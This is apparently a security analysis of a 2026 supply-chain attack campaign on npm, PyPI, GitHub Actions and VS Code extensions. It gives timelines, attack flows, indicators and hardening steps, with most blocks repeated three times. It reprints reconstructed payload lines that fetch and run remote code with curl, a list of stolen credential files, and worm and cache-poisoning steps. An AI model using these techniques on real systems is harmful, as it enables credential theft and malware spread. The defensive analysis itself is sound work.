Mar 19 ──── Trivy (aquasecurity) → CanisterWorm ICP C2
Mar 25 ──── Checkmarx KICS Docker images
Mar 26 ──── LiteLLM (AI gateway) → .pth persistence
Mar 27 ──── Telnyx SDK → WAV steganography payload
Mar 31 ──── axios 1.14.1 / 0.30.0 → cross-platform RAT [100M weekly DL]
Apr 22 ──── Checkmarx KICS VS Code extension
Apr 27 ──── @bitwarden/cli 2026.4.0 → self-propagating
Apr 29-May 1 ─ Mini Shai-Hulud Wave 1: SAP CAP, PyTorch Lightning, intercom-client
May 11 ──── Mini Shai-Hulud Wave 2: 84 @tanstack/* packages in 6 minutes
May 12 ──── @mistralai/* npm packages (bug in payload — non-functional)
May 12 ──── @uipath/* npm packages
May 13 ──── Shai-Hulud source code published to GitHub under MIT license
May 13 ──── $1,000 Monero supply chain attack contest on BreachForums
May 15 ──── OpenAI discloses 2 compromised employee devices (TanStack vector)
May 19 ──── Microsoft durabletask Python SDK (PyPI) — 28KB payload
May 18 ──── Nx Console v18.95.0 live on VS Code Marketplace [18 minutes]
May 19 ──── GitHub detects breach, starts incident response
May 20 ──── GitHub publicly confirms: ~3,800 internal repos exfiltrated
Mar 19 ──── Trivy (aquasecurity) → CanisterWorm ICP C2
Mar 25 ──── Checkmarx KICS Docker images
Mar 26 ──── LiteLLM (AI gateway) → .pth persistence
Mar 27 ──── Telnyx SDK → WAV steganography payload
Mar 31 ──── axios 1.14.1 / 0.30.0 → cross-platform RAT [100M weekly DL]
Apr 22 ──── Checkmarx KICS VS Code extension
Apr 27 ──── @bitwarden/cli 2026.4.0 → self-propagating
Apr 29-May 1 ─ Mini Shai-Hulud Wave 1: SAP CAP, PyTorch Lightning, intercom-client
May 11 ──── Mini Shai-Hulud Wave 2: 84 @tanstack/* packages in 6 minutes
May 12 ──── @mistralai/* npm packages (bug in payload — non-functional)
May 12 ──── @uipath/* npm packages
May 13 ──── Shai-Hulud source code published to GitHub under MIT license
May 13 ──── $1,000 Monero supply chain attack contest on BreachForums
May 15 ──── OpenAI discloses 2 compromised employee devices (TanStack vector)
May 19 ──── Microsoft durabletask Python SDK (PyPI) — 28KB payload
May 18 ──── Nx Console v18.95.0 live on VS Code Marketplace [18 minutes]
May 19 ──── GitHub detects breach, starts incident response
May 20 ──── GitHub publicly confirms: ~3,800 internal repos exfiltrated
Mar 19 ──── Trivy (aquasecurity) → CanisterWorm ICP C2
Mar 25 ──── Checkmarx KICS Docker images
Mar 26 ──── LiteLLM (AI gateway) → .pth persistence
Mar 27 ──── Telnyx SDK → WAV steganography payload
Mar 31 ──── axios 1.14.1 / 0.30.0 → cross-platform RAT [100M weekly DL]
Apr 22 ──── Checkmarx KICS VS Code extension
Apr 27 ──── @bitwarden/cli 2026.4.0 → self-propagating
Apr 29-May 1 ─ Mini Shai-Hulud Wave 1: SAP CAP, PyTorch Lightning, intercom-client
May 11 ──── Mini Shai-Hulud Wave 2: 84 @tanstack/* packages in 6 minutes
May 12 ──── @mistralai/* npm packages (bug in payload — non-functional)
May 12 ──── @uipath/* npm packages
May 13 ──── Shai-Hulud source code published to GitHub under MIT license
May 13 ──── $1,000 Monero supply chain attack contest on BreachForums
May 15 ──── OpenAI discloses 2 compromised employee devices (TanStack vector)
May 19 ──── Microsoft durabletask Python SDK (PyPI) — 28KB payload
May 18 ──── Nx Console v18.95.0 live on VS Code Marketplace [18 minutes]
May 19 ──── GitHub detects breach, starts incident response
May 20 ──── GitHub publicly confirms: ~3,800 internal repos exfiltrated
1. TeamPCP obtains stale Trivy publish credentials
2. Force-push malicious commits across 76/77 version tags in aquasecurity/trivy-action
3. Payload: CanisterWorm — uses ICP (Internet Computer Protocol) canisters as C2 → Censorship-resistant command-and-control. Can't be taken down by domain seizure.
4. Any CI pipeline running Trivy: compromised
1. TeamPCP obtains stale Trivy publish credentials
2. Force-push malicious commits across 76/77 version tags in aquasecurity/trivy-action
3. Payload: CanisterWorm — uses ICP (Internet Computer Protocol) canisters as C2 → Censorship-resistant command-and-control. Can't be taken down by domain seizure.
4. Any CI pipeline running Trivy: compromised
1. TeamPCP obtains stale Trivy publish credentials
2. Force-push malicious commits across 76/77 version tags in aquasecurity/trivy-action
3. Payload: CanisterWorm — uses ICP (Internet Computer Protocol) canisters as C2 → Censorship-resistant command-and-control. Can't be taken down by domain seizure.
4. Any CI pipeline running Trivy: compromised
# What the malicious .pth file looked like conceptually:
# /usr/lib/python3.x/site-packages/mal.pth import subprocess; subprocess.Popen(['curl', '-sS', 'https://[C2]/stage2', '-o', '/tmp/s2'], stdout=subprocess.DEVNULL)
# What the malicious .pth file looked like conceptually:
# /usr/lib/python3.x/site-packages/mal.pth import subprocess; subprocess.Popen(['curl', '-sS', 'https://[C2]/stage2', '-o', '/tmp/s2'], stdout=subprocess.DEVNULL)
# What the malicious .pth file looked like conceptually:
# /usr/lib/python3.x/site-packages/mal.pth import subprocess; subprocess.Popen(['curl', '-sS', 'https://[C2]/stage2', '-o', '/tmp/s2'], stdout=subprocess.DEVNULL)
Developer installs LiteLLM →
Malicious postinstall writes .pth file →
Every subsequent python command = malware execution
Survives pip uninstall of LiteLLM
Survives virtualenv recreation
Only wiped if you manually audit site-packages
Developer installs LiteLLM →
Malicious postinstall writes .pth file →
Every subsequent python command = malware execution
Survives pip uninstall of LiteLLM
Survives virtualenv recreation
Only wiped if you manually audit site-packages
Developer installs LiteLLM →
Malicious postinstall writes .pth file →
Every subsequent python command = malware execution
Survives pip uninstall of LiteLLM
Survives virtualenv recreation
Only wiped if you manually audit site-packages
1. Malicious Telnyx SDK published
2. On import, SDK fetches a .WAV audio file from C2
3. WAV file is decoded: XOR decryption extracts a Windows PE binary
4. Binary executed in-memory
5. Second-stage RAT establishes persistence
1. Malicious Telnyx SDK published
2. On import, SDK fetches a .WAV audio file from C2
3. WAV file is decoded: XOR decryption extracts a Windows PE binary
4. Binary executed in-memory
5. Second-stage RAT establishes persistence
1. Malicious Telnyx SDK published
2. On import, SDK fetches a .WAV audio file from C2
3. WAV file is decoded: XOR decryption extracts a Windows PE binary
4. Binary executed in-memory
5. Second-stage RAT establishes persistence
Timeline:
19:41 UTC — axios 1.14.1 published (malicious)
22:47 UTC — axios 0.30.0 published (malicious) ~23:30 UTC — malicious versions removed
Window: ~3 hours for 1.14.1, ~45 minutes for 0.30.0
Timeline:
19:41 UTC — axios 1.14.1 published (malicious)
22:47 UTC — axios 0.30.0 published (malicious) ~23:30 UTC — malicious versions removed
Window: ~3 hours for 1.14.1, ~45 minutes for 0.30.0
Timeline:
19:41 UTC — axios 1.14.1 published (malicious)
22:47 UTC — axios 0.30.0 published (malicious) ~23:30 UTC — malicious versions removed
Window: ~3 hours for 1.14.1, ~45 minutes for 0.30.0
Install malicious @bitwarden/cli →
Payload executes (credential theft) →
Payload enumerates ALL npm packages the victim can publish →
Injects malicious code into EACH of those packages →
Re-publishes them →
Every downstream user of victim's packages is now infected
Install malicious @bitwarden/cli →
Payload executes (credential theft) →
Payload enumerates ALL npm packages the victim can publish →
Injects malicious code into EACH of those packages →
Re-publishes them →
Every downstream user of victim's packages is now infected
Install malicious @bitwarden/cli →
Payload executes (credential theft) →
Payload enumerates ALL npm packages the victim can publish →
Injects malicious code into EACH of those packages →
Re-publishes them →
Every downstream user of victim's packages is now infected
The exploit:
1. Fork the TanStack repository
2. Open a pull request from the fork
3. A GitHub Actions workflow triggers on pull_request with write access to base repo's cache
4. Attacker's code poisons that cache with malicious content
5. Wait for a legitimate release to use the poisoned cache
6. Malicious code injected into build artifacts
7. Release published — clean on the outside, poisoned inside
The exploit:
1. Fork the TanStack repository
2. Open a pull request from the fork
3. A GitHub Actions workflow triggers on pull_request with write access to base repo's cache
4. Attacker's code poisons that cache with malicious content
5. Wait for a legitimate release to use the poisoned cache
6. Malicious code injected into build artifacts
7. Release published — clean on the outside, poisoned inside
The exploit:
1. Fork the TanStack repository
2. Open a pull request from the fork
3. A GitHub Actions workflow triggers on pull_request with write access to base repo's cache
4. Attacker's code poisons that cache with malicious content
5. Wait for a legitimate release to use the poisoned cache
6. Malicious code injected into build artifacts
7. Release published — clean on the outside, poisoned inside
# DANGEROUS — allows fork PRs to write to base repo cache
on: pull_request: jobs: build: permissions: actions: write # <-- this is the problem
# DANGEROUS — allows fork PRs to write to base repo cache
on: pull_request: jobs: build: permissions: actions: write # <-- this is the problem
# DANGEROUS — allows fork PRs to write to base repo cache
on: pull_request: jobs: build: permissions: actions: write # <-- this is the problem
# SAFER
on: pull_request: jobs: build: permissions: actions: read # read-only contents: read
# SAFER
on: pull_request: jobs: build: permissions: actions: read # read-only contents: read
# SAFER
on: pull_request: jobs: build: permissions: actions: read # read-only contents: read
Timeline:
12:30 UTC May 18 — Malicious v18.95.0 published to VS Code Marketplace
12:36 UTC — Confirmed live with malicious main.js
12:48 UTC — Community detection, version pulled (18 minutes)
36 min — Also pulled from OpenVSX May 19 — GitHub detects breach on employee device
May 20 — GitHub publicly confirms ~3,800 internal repos exfiltrated
Timeline:
12:30 UTC May 18 — Malicious v18.95.0 published to VS Code Marketplace
12:36 UTC — Confirmed live with malicious main.js
12:48 UTC — Community detection, version pulled (18 minutes)
36 min — Also pulled from OpenVSX May 19 — GitHub detects breach on employee device
May 20 — GitHub publicly confirms ~3,800 internal repos exfiltrated
Timeline:
12:30 UTC May 18 — Malicious v18.95.0 published to VS Code Marketplace
12:36 UTC — Confirmed live with malicious main.js
12:48 UTC — Community detection, version pulled (18 minutes)
36 min — Also pulled from OpenVSX May 19 — GitHub detects breach on employee device
May 20 — GitHub publicly confirms ~3,800 internal repos exfiltrated
// Simplified reconstruction of what happened in main.js
// (based on OX Security / StepSecurity analysis) // Normal extension startup...
// ...then silently: const { execSync } = require('child_process'); // Fetch payload from a planted ORPHAN COMMIT in the official nrwl/nx repo
// This is genius — the payload is hosted on GitHub itself
// The extension publisher can't be blamed, the official repo looks clean
// The orphan commit doesn't appear in git log const payloadUrl = 'https://raw.githubusercontent.com/nrwl/nx/[orphan-sha]/[hidden-path]/payload.js'; // 498KB obfuscated payload
// Executes within SECONDS of opening any workspace
execSync(`curl -sS ${payloadUrl} | node`, { stdio: 'ignore' });
// Simplified reconstruction of what happened in main.js
// (based on OX Security / StepSecurity analysis) // Normal extension startup...
// ...then silently: const { execSync } = require('child_process'); // Fetch payload from a planted ORPHAN COMMIT in the official nrwl/nx repo
// This is genius — the payload is hosted on GitHub itself
// The extension publisher can't be blamed, the official repo looks clean
// The orphan commit doesn't appear in git log const payloadUrl = 'https://raw.githubusercontent.com/nrwl/nx/[orphan-sha]/[hidden-path]/payload.js'; // 498KB obfuscated payload
// Executes within SECONDS of opening any workspace
execSync(`curl -sS ${payloadUrl} | node`, { stdio: 'ignore' });
// Simplified reconstruction of what happened in main.js
// (based on OX Security / StepSecurity analysis) // Normal extension startup...
// ...then silently: const { execSync } = require('child_process'); // Fetch payload from a planted ORPHAN COMMIT in the official nrwl/nx repo
// This is genius — the payload is hosted on GitHub itself
// The extension publisher can't be blamed, the official repo looks clean
// The orphan commit doesn't appear in git log const payloadUrl = 'https://raw.githubusercontent.com/nrwl/nx/[orphan-sha]/[hidden-path]/payload.js'; // 498KB obfuscated payload
// Executes within SECONDS of opening any workspace
execSync(`curl -sS ${payloadUrl} | node`, { stdio: 'ignore' });
Targets:
├── 1Password vaults (CLI / desktop integration)
├── GitHub tokens (PATs, OAuth, GHES tokens)
├── npm auth tokens (~/.npmrc)
├── AWS credentials (~/.aws/credentials)
├── Anthropic Claude Code configuration
│ └── API keys, project configs
└── General credential stores
Targets:
├── 1Password vaults (CLI / desktop integration)
├── GitHub tokens (PATs, OAuth, GHES tokens)
├── npm auth tokens (~/.npmrc)
├── AWS credentials (~/.aws/credentials)
├── Anthropic Claude Code configuration
│ └── API keys, project configs
└── General credential stores
Targets:
├── 1Password vaults (CLI / desktop integration)
├── GitHub tokens (PATs, OAuth, GHES tokens)
├── npm auth tokens (~/.npmrc)
├── AWS credentials (~/.aws/credentials)
├── Anthropic Claude Code configuration
│ └── API keys, project configs
└── General credential stores
# An orphan commit has no parent and doesn't appear in any branch
# It's invisible in normal git log
# But it's still accessible via its SHA git fetch origin [sha]
git show [sha]:[file] # The nrwl/nx repo looks completely clean to any auditor
# The payload sits in a dangling object that most scanners miss
# An orphan commit has no parent and doesn't appear in any branch
# It's invisible in normal git log
# But it's still accessible via its SHA git fetch origin [sha]
git show [sha]:[file] # The nrwl/nx repo looks completely clean to any auditor
# The payload sits in a dangling object that most scanners miss
# An orphan commit has no parent and doesn't appear in any branch
# It's invisible in normal git log
# But it's still accessible via its SHA git fetch origin [sha]
git show [sha]:[file] # The nrwl/nx repo looks completely clean to any auditor
# The payload sits in a dangling object that most scanners miss
May 19, 2026 — Detection (same day as infection)
├── Isolated the compromised endpoint
├── Removed malicious extension version from Marketplace
├── Began rotating high-impact credentials and cryptographic keys
└── Opened internal incident response investigation May 20, 2026 — Public disclosure (next day)
├── Statement on X with technical summary
├── Investigation ongoing
└── Committed to publishing detailed post-mortem
May 19, 2026 — Detection (same day as infection)
├── Isolated the compromised endpoint
├── Removed malicious extension version from Marketplace
├── Began rotating high-impact credentials and cryptographic keys
└── Opened internal incident response investigation May 20, 2026 — Public disclosure (next day)
├── Statement on X with technical summary
├── Investigation ongoing
└── Committed to publishing detailed post-mortem
May 19, 2026 — Detection (same day as infection)
├── Isolated the compromised endpoint
├── Removed malicious extension version from Marketplace
├── Began rotating high-impact credentials and cryptographic keys
└── Opened internal incident response investigation May 20, 2026 — Public disclosure (next day)
├── Statement on X with technical summary
├── Investigation ongoing
└── Committed to publishing detailed post-mortem
1. Steal npm publish token from compromised environment
2. Enumerate every package that token can reach
3. Inject malicious postinstall hook into each package
4. Re-publish all of them
5. Any developer who installs any of those packages → infected
6. Their tokens stolen → their packages infected
7. Repeat
1. Steal npm publish token from compromised environment
2. Enumerate every package that token can reach
3. Inject malicious postinstall hook into each package
4. Re-publish all of them
5. Any developer who installs any of those packages → infected
6. Their tokens stolen → their packages infected
7. Repeat
1. Steal npm publish token from compromised environment
2. Enumerate every package that token can reach
3. Inject malicious postinstall hook into each package
4. Re-publish all of them
5. Any developer who installs any of those packages → infected
6. Their tokens stolen → their packages infected
7. Repeat
Added in Nov/Dec 2025:
└── Data-wiping functionality (destructive payload option) Added in April 2026:
└── No stolen credential needed (GitHub Actions cache poisoning)
└── Cross-registry simultaneous strike (npm + PyPI + RubyGems same 48h window) Added in May 2026:
└── VS Code extension vector
└── IDE plugin ecosystem targeting
└── Source code open-sourced (MIT license on GitHub)
└── $1,000 Monero "supply chain contest" on BreachForums → copycat actors
Added in Nov/Dec 2025:
└── Data-wiping functionality (destructive payload option) Added in April 2026:
└── No stolen credential needed (GitHub Actions cache poisoning)
└── Cross-registry simultaneous strike (npm + PyPI + RubyGems same 48h window) Added in May 2026:
└── VS Code extension vector
└── IDE plugin ecosystem targeting
└── Source code open-sourced (MIT license on GitHub)
└── $1,000 Monero "supply chain contest" on BreachForums → copycat actors
Added in Nov/Dec 2025:
└── Data-wiping functionality (destructive payload option) Added in April 2026:
└── No stolen credential needed (GitHub Actions cache poisoning)
└── Cross-registry simultaneous strike (npm + PyPI + RubyGems same 48h window) Added in May 2026:
└── VS Code extension vector
└── IDE plugin ecosystem targeting
└── Source code open-sourced (MIT license on GitHub)
└── $1,000 Monero "supply chain contest" on BreachForums → copycat actors
Known malicious versions (rotate credentials if you used these):
├── npm
│ ├── axios 1.14.1, 0.30.0 (March 31, 2026)
│ ├── @bitwarden/cli 2026.4.0
│ ├── @tanstack/react-router [malicious versions, May 11]
│ ├── @tanstack/* (42 packages, May 11, 19:20-19:26 UTC)
│ ├── @mistralai/* (May 12 — payload non-functional)
│ └── @uipath/* (May 12 — payload non-functional)
├── PyPI
│ ├── litellm [March 2026 malicious versions]
│ ├── telnyx 4.87.2
│ └── microsoft-durabletask-worker [May 19, 3 versions]
├── VS Code Marketplace
│ └── nrwl.angular-console 18.95.0 (May 18, 12:30-12:48 UTC)
└── GitHub Actions └── aquasecurity/trivy-action [76/77 tags, March 2026]
Known malicious versions (rotate credentials if you used these):
├── npm
│ ├── axios 1.14.1, 0.30.0 (March 31, 2026)
│ ├── @bitwarden/cli 2026.4.0
│ ├── @tanstack/react-router [malicious versions, May 11]
│ ├── @tanstack/* (42 packages, May 11, 19:20-19:26 UTC)
│ ├── @mistralai/* (May 12 — payload non-functional)
│ └── @uipath/* (May 12 — payload non-functional)
├── PyPI
│ ├── litellm [March 2026 malicious versions]
│ ├── telnyx 4.87.2
│ └── microsoft-durabletask-worker [May 19, 3 versions]
├── VS Code Marketplace
│ └── nrwl.angular-console 18.95.0 (May 18, 12:30-12:48 UTC)
└── GitHub Actions └── aquasecurity/trivy-action [76/77 tags, March 2026]
Known malicious versions (rotate credentials if you used these):
├── npm
│ ├── axios 1.14.1, 0.30.0 (March 31, 2026)
│ ├── @bitwarden/cli 2026.4.0
│ ├── @tanstack/react-router [malicious versions, May 11]
│ ├── @tanstack/* (42 packages, May 11, 19:20-19:26 UTC)
│ ├── @mistralai/* (May 12 — payload non-functional)
│ └── @uipath/* (May 12 — payload non-functional)
├── PyPI
│ ├── litellm [March 2026 malicious versions]
│ ├── telnyx 4.87.2
│ └── microsoft-durabletask-worker [May 19, 3 versions]
├── VS Code Marketplace
│ └── nrwl.angular-console 18.95.0 (May 18, 12:30-12:48 UTC)
└── GitHub Actions └── aquasecurity/trivy-action [76/77 tags, March 2026]
# Signs of active Shai-Hulud/TeamPCP infection: # 1. Unexpected .pth files in site-packages
find /usr/lib/python* /usr/local/lib/python* ~/.local/lib/python* \ -name "*.pth" -newer /var/log/dpkg.log 2>/dev/null # 2. Unusual outbound connections during npm install
# Look for curl/node spawned by VS Code extension process # 3. Orphan commits being fetched
git fsck --lost-found 2>&1 | grep "dangling commit" # 4. npm token in environment or .npmrc after extension install
grep -r "_authToken" ~/.npmrc ~/.config/npm/ 2>/dev/null # 5. Payload skip signal (Russian locale check in payload)
# If your env has LANG=ru_RU — payload was designed to skip you
# Signs of active Shai-Hulud/TeamPCP infection: # 1. Unexpected .pth files in site-packages
find /usr/lib/python* /usr/local/lib/python* ~/.local/lib/python* \ -name "*.pth" -newer /var/log/dpkg.log 2>/dev/null # 2. Unusual outbound connections during npm install
# Look for curl/node spawned by VS Code extension process # 3. Orphan commits being fetched
git fsck --lost-found 2>&1 | grep "dangling commit" # 4. npm token in environment or .npmrc after extension install
grep -r "_authToken" ~/.npmrc ~/.config/npm/ 2>/dev/null # 5. Payload skip signal (Russian locale check in payload)
# If your env has LANG=ru_RU — payload was designed to skip you
# Signs of active Shai-Hulud/TeamPCP infection: # 1. Unexpected .pth files in site-packages
find /usr/lib/python* /usr/local/lib/python* ~/.local/lib/python* \ -name "*.pth" -newer /var/log/dpkg.log 2>/dev/null # 2. Unusual outbound connections during npm install
# Look for curl/node spawned by VS Code extension process # 3. Orphan commits being fetched
git fsck --lost-found 2>&1 | grep "dangling commit" # 4. npm token in environment or .npmrc after extension install
grep -r "_authToken" ~/.npmrc ~/.config/npm/ 2>/dev/null # 5. Payload skip signal (Russian locale check in payload)
# If your env has LANG=ru_RU — payload was designed to skip you
High confidence (Wiz):
└── Shared RSA public key across Trivy, Telnyx, Nx Console payloads Medium confidence (Socket, StepSecurity):
├── Shared cipher salt across malware families
└── Dead-drop string lineage (identical URL patterns for orphan commit hosting) Low confidence:
└── Behavioral overlap with Eastern European cybercrime TTPs
└── Russian locale skip (standard crew protection measure)
High confidence (Wiz):
└── Shared RSA public key across Trivy, Telnyx, Nx Console payloads Medium confidence (Socket, StepSecurity):
├── Shared cipher salt across malware families
└── Dead-drop string lineage (identical URL patterns for orphan commit hosting) Low confidence:
└── Behavioral overlap with Eastern European cybercrime TTPs
└── Russian locale skip (standard crew protection measure)
High confidence (Wiz):
└── Shared RSA public key across Trivy, Telnyx, Nx Console payloads Medium confidence (Socket, StepSecurity):
├── Shared cipher salt across malware families
└── Dead-drop string lineage (identical URL patterns for orphan commit hosting) Low confidence:
└── Behavioral overlap with Eastern European cybercrime TTPs
└── Russian locale skip (standard crew protection measure)
Exposure window: May 18, 2026
Time (UTC): 12:30 — 12:48 (VS Code Marketplace) 12:30 — 13:06 (OpenVSX) Check your VS Code extension history:
Exposure window: May 18, 2026
Time (UTC): 12:30 — 12:48 (VS Code Marketplace) 12:30 — 13:06 (OpenVSX) Check your VS Code extension history:
Exposure window: May 18, 2026
Time (UTC): 12:30 — 12:48 (VS Code Marketplace) 12:30 — 13:06 (OpenVSX) Check your VS Code extension history:
# Check VS Code extension install/update logs
# Linux/macOS:
cat ~/.vscode/extensions/nrwl.angular-console-*/package.json | grep '"version"' # If you see 18.95.0 — assume full compromise
# Rotate immediately:
# 1. GitHub PATs
# 2. npm auth tokens # 3. AWS credentials
# 4. 1Password vault (change master password, regenerate secrets)
# 5. Anthropic API keys (if you use Claude Code)
# Check VS Code extension install/update logs
# Linux/macOS:
cat ~/.vscode/extensions/nrwl.angular-console-*/package.json | grep '"version"' # If you see 18.95.0 — assume full compromise
# Rotate immediately:
# 1. GitHub PATs
# 2. npm auth tokens # 3. AWS credentials
# 4. 1Password vault (change master password, regenerate secrets)
# 5. Anthropic API keys (if you use Claude Code)
# Check VS Code extension install/update logs
# Linux/macOS:
cat ~/.vscode/extensions/nrwl.angular-console-*/package.json | grep '"version"' # If you see 18.95.0 — assume full compromise
# Rotate immediately:
# 1. GitHub PATs
# 2. npm auth tokens # 3. AWS credentials
# 4. 1Password vault (change master password, regenerate secrets)
# 5. Anthropic API keys (if you use Claude Code)
# 1. Audit GitHub Actions workflows for dangerous permission combos
# Find workflows triggered by pull_request with write permissions:
grep -r "pull_request" .github/workflows/ | grep -v "pull_request_target"
# Then check if any job has: actions: write OR contents: write # 2. Set minimum token permissions in all workflows
# Add this to every workflow job:
permissions: contents: read actions: read # 3. Pin ALL GitHub Actions to full commit SHA (not tags)
# BAD:
uses: actions/checkout@v4
# GOOD:
uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # 4. Audit .pth files in Python environments
find $(python3 -c "import site; print(' '.join(site.getsitepackages()))") \ -name "*.pth" | xargs cat # 5. Rotate npm tokens if ANY package in your chain was affected
npm token revoke [old-token]
npm token create --read-only # or with specific package scope
# 1. Audit GitHub Actions workflows for dangerous permission combos
# Find workflows triggered by pull_request with write permissions:
grep -r "pull_request" .github/workflows/ | grep -v "pull_request_target"
# Then check if any job has: actions: write OR contents: write # 2. Set minimum token permissions in all workflows
# Add this to every workflow job:
permissions: contents: read actions: read # 3. Pin ALL GitHub Actions to full commit SHA (not tags)
# BAD:
uses: actions/checkout@v4
# GOOD:
uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # 4. Audit .pth files in Python environments
find $(python3 -c "import site; print(' '.join(site.getsitepackages()))") \ -name "*.pth" | xargs cat # 5. Rotate npm tokens if ANY package in your chain was affected
npm token revoke [old-token]
npm token create --read-only # or with specific package scope
# 1. Audit GitHub Actions workflows for dangerous permission combos
# Find workflows triggered by pull_request with write permissions:
grep -r "pull_request" .github/workflows/ | grep -v "pull_request_target"
# Then check if any job has: actions: write OR contents: write # 2. Set minimum token permissions in all workflows
# Add this to every workflow job:
permissions: contents: read actions: read # 3. Pin ALL GitHub Actions to full commit SHA (not tags)
# BAD:
uses: actions/checkout@v4
# GOOD:
uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # 4. Audit .pth files in Python environments
find $(python3 -c "import site; print(' '.join(site.getsitepackages()))") \ -name "*.pth" | xargs cat # 5. Rotate npm tokens if ANY package in your chain was affected
npm token revoke [old-token]
npm token create --read-only # or with specific package scope
# GitHub Actions: Restrict cache write permissions
# Dangerous pattern — fork PRs can write cache:
on: pull_request:
jobs: build: runs-on: ubuntu-latest # Missing explicit permissions = inherits GITHUB_TOKEN defaults (too broad) # Safe pattern:
on: pull_request:
jobs: build: runs-on: ubuntu-latest permissions: contents: read # read source only pull-requests: read # read PR metadata # NO actions: write # NO packages: write
# GitHub Actions: Restrict cache write permissions
# Dangerous pattern — fork PRs can write cache:
on: pull_request:
jobs: build: runs-on: ubuntu-latest # Missing explicit permissions = inherits GITHUB_TOKEN defaults (too broad) # Safe pattern:
on: pull_request:
jobs: build: runs-on: ubuntu-latest permissions: contents: read # read source only pull-requests: read # read PR metadata # NO actions: write # NO packages: write
# GitHub Actions: Restrict cache write permissions
# Dangerous pattern — fork PRs can write cache:
on: pull_request:
jobs: build: runs-on: ubuntu-latest # Missing explicit permissions = inherits GITHUB_TOKEN defaults (too broad) # Safe pattern:
on: pull_request:
jobs: build: runs-on: ubuntu-latest permissions: contents: read # read source only pull-requests: read # read PR metadata # NO actions: write # NO packages: write
# VS Code: Disable auto-update for extensions
# Settings → Extensions → Auto Update = false
# Or in settings.json:
"extensions.autoUpdate": false # Consider extension allowlisting via policy
# For orgs: use VS Code for the Web or GitHub Codespaces # where extensions run in isolated containers
# VS Code: Disable auto-update for extensions
# Settings → Extensions → Auto Update = false
# Or in settings.json:
"extensions.autoUpdate": false # Consider extension allowlisting via policy
# For orgs: use VS Code for the Web or GitHub Codespaces # where extensions run in isolated containers
# VS Code: Disable auto-update for extensions
# Settings → Extensions → Auto Update = false
# Or in settings.json:
"extensions.autoUpdate": false # Consider extension allowlisting via policy
# For orgs: use VS Code for the Web or GitHub Codespaces # where extensions run in isolated containers
# Before installing any package, check:
# 1. When was this version published?
npm view [package]@[version] time --json # 2. Does the publish timestamp match a release commit?
# Compare npm publish time vs GitHub release time
# Discrepancy = potential supply chain tampering # 3. Verify package integrity
npm audit --audit-level=critical
npm pack [package] && tar -tzf [package]-[version].tgz | grep -E "\.sh$|postinstall" # 4. Check for unexpected postinstall scripts
npm view [package] scripts --json | grep -E "postinstall|preinstall|install"
# Before installing any package, check:
# 1. When was this version published?
npm view [package]@[version] time --json # 2. Does the publish timestamp match a release commit?
# Compare npm publish time vs GitHub release time
# Discrepancy = potential supply chain tampering # 3. Verify package integrity
npm audit --audit-level=critical
npm pack [package] && tar -tzf [package]-[version].tgz | grep -E "\.sh$|postinstall" # 4. Check for unexpected postinstall scripts
npm view [package] scripts --json | grep -E "postinstall|preinstall|install"
# Before installing any package, check:
# 1. When was this version published?
npm view [package]@[version] time --json # 2. Does the publish timestamp match a release commit?
# Compare npm publish time vs GitHub release time
# Discrepancy = potential supply chain tampering # 3. Verify package integrity
npm audit --audit-level=critical
npm pack [package] && tar -tzf [package]-[version].tgz | grep -E "\.sh$|postinstall" # 4. Check for unexpected postinstall scripts
npm view [package] scripts --json | grep -E "postinstall|preinstall|install" - Payloads skip systems with Russian locale (LANG=ru_RU) — Eastern European cybercrime tradecraft
- RSA public key reuse across campaigns (Wiz's high-confidence attribution signal)
- Shared cipher salt and dead-drop string lineage across malware families
- Prefer orphan commits in official repos as payload hosting to evade takedowns
- Use steganography (WAV audio files) and .pth persistence for evasion - OpenAI: 2 employee devices compromised, internal repos accessed, code-signing certificates rotated
- Mistral AI: 1 developer device, $25,000 extortion demand, claimed 5GB source code - An employee ran an auto-updated VS Code extension on a device with access to 3,800 internal repos. The blast radius of a single developer endpoint should never be that large.
- No apparent extension allowlisting. The malicious version was on the Marketplace for 18 minutes. With allowlisting + minimum-age policies, this installs nothing.
- GitHub still hasn't formally named the extension. This is a transparency problem. The security community identified Nx Console v18.95.0 through independent analysis. Official confirmation matters for incident response across the 2.2M install base. - Explicit npm token scoping (publish only to specific packages)
- Extension allowlisting that blocked unapproved versions
- GitHub Actions with least-privilege permissions from the start
- Developer environments isolated from production credential access
- Minimum-age policies on package installs (block anything published < 48h ago) - OX Security: TeamPCP Strikes Again — Nx Console Technical Analysis
- OX Security: TeamPCP's Telnyx Windows Malware Deep Analysis
- Wiz: Mini Shai-Hulud — TanStack Compromise
- StepSecurity: Nx Console Compromise Analysis
- StepSecurity: Mini Shai-Hulud Self-Spreading Analysis
- Akamai: Mini Shai-Hulud Returns and Goes Public
- Phoenix Security: Sha1-Hulud Full Technical Dissection
- Palo Alto Unit 42: npm Threat Landscape (Updated May 2026)
- CISA KEV: CVE-2026-33634
- GitHub Security Advisory: Nx Console
- Hackread: GitHub Breach — TeamPCP Confirmation
- Sophos: GitHub Internal Repositories Breached